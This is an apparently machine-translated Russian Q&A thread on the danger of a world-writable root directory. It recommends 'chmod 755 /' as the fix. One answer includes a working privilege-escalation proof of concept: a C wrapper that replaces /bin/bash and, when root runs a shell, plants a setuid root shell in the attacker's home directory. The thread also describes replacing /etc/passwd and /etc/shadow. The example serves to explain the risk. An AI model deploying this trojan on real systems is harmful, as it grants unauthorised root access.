/не должно быть доступным для записи всем пользователям

/не должно быть доступным для записи всем пользователям

Однако большую часть содержимого составляет 755.

Это проблема?

решение1

Интересно, что /на самом деле позволяет 777устанавливать разрешения. /Папка не должна иметь 777разрешений, так как это означает, что любой пользователь, вошедший в систему, может создавать файлы и папки на /корневом уровне. Я протестировал это в виртуальной машине, и выНЕ МОГУудалите любую из папок или файлов, которые не 777являются sudo, rootили owner. Разрешения на доступ по-прежнему соблюдаются, как если бы вы попытались получить доступ к /rootсамой папке, вам было бы отказано в разрешении. Однако, как говорится, вы все еще можете переместить папку, /rootчтобы /root.oldсоздать небольшой хаос.

Чтобы исправить это, вы можете запустить, sudo chmod 755 /чтобы изменить разрешения на те, которые должны быть. Вы также можете запустить, sudo chown root:root /чтобы просто убедиться, что он принадлежит самому root. НЕ запускайте ни одну из этих команд с параметром -R, так как это приведет к изменению всех файлов и папок в разделе в соответствии с разрешениями и владельцами.

Надеюсь это поможет!

решение2

/не должно быть доступным для записи всем пользователям

/возможность записи во всем мире может бытьогромныйпроблема. Имея права на запись в /, любой пользователь может переместить/переименовать любой файл или каталог в /. Это означает, что любой пользователь может заменить /etc, /usrили любой другой каталог в /каталогами по своему выбору.

Отказ в обслуживании: тривиальный

Любой пользователь может легко выполнить DoS-атаку вашей системы, переименовав /etcи /usr.

Повышение привилегий: немного менее тривиально

Немного сложнее выполнить повышение привилегий. Пользователь может заменить /binсвоей собственной копией, и любой процесс, который затем попытается использовать cp, или даженачать оболочку, немедленно окажутся в их власти. Все, что нужно сделать пользователю, это дождаться процесса, запущенного как root, чтобы использовать любую команду в /bin, или пользователя root, чтобы использовать вход в систему, и они в деле.

Пример

bash.c:

#include<sys/types.h>
#include<unistd.h>

int main(int argc, char*argv[], char *env[])
{
    if (getuid() == 0) {
        system("/home/muru/foo");
    }
    execve("/bin/bash", argv, env); 
}

foo:

#!/bin/sh

mv /bin /..bin
mv /.bin /bin
rm -rf /..bin
cp /bin/bash /home/muru
chown root:root /home/muru/bash
chmod u+s /home/muru/bash

А потом:

$ gcc -o bash bash.c
$ mkdir /..bin
$ cd /bin; for i in /bin/*; do ln -s /..bin/"$i" /.bin/"$i"; done
$ mv /bin /.bin
$ mv /..bin /bin
$ cp bash /bin

И в следующий раз, когда root запустит оболочку, вы получите исполняемый файл setuid в своем домашнем каталоге, который вы затем сможете с комфортом использовать для получения прав root в любое удобное время, не оставляя при этом особых следов.

решение3

Нет. Небезопасно /иметь 777разрешения (для корневого каталога). Это означает rwxrwxrwx, что, т. е., каждый пользователь имеет разрешение на запись в корневой каталог.

С этим разрешением каждый пользователь сможет создавать новые подкаталоги, удалять существующие подкаталоги и заменять существующие подкаталоги. Например, злонамеренный пользователь может удалить /bin(переименовав его в /bin.old) и создать новый, /binпринадлежащий ему, содержащий вредоносные исполняемые файлы. Или пользователь может удалить /etc(переименовав его в /etc.old) и создать новый, /etcсодержащий новый /etc/passwdи /etc/shadowфайл, который позволяет пользователю входить в каждую учетную запись в системе.

Связанный контент